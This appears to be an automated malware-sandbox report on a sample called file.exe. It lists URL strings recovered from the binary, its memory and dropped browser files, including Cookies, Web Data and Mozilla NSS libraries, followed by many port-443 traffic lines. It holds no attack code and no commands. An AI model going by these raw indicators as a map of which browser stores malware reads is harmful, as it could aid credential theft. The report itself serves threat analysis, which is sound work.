Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: CAEBGHDB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 168b24b2-3c3d-4b68-a1bf-1c1b05d15a3d.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 168b24b2-3c3d-4b68-a1bf-1c1b05d15a3d.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_442.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_442.5.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_442.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: chromecache_440.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_440.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_440.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_440.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv101
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log4.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log2.9.dr, 000003.log5.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log2.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log2.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376134533707014.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_440.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_442.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_442.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: chromecache_442.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: CAEBGHDB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 168b24b2-3c3d-4b68-a1bf-1c1b05d15a3d.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_442.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_442.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_440.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_440.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_440.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1738101625.0000000023875000.00000004.00000020.00020000.00000000.sdmp, DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1738101625.0000000023875000.00000004.00000020.00020000.00000000.sdmp, DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
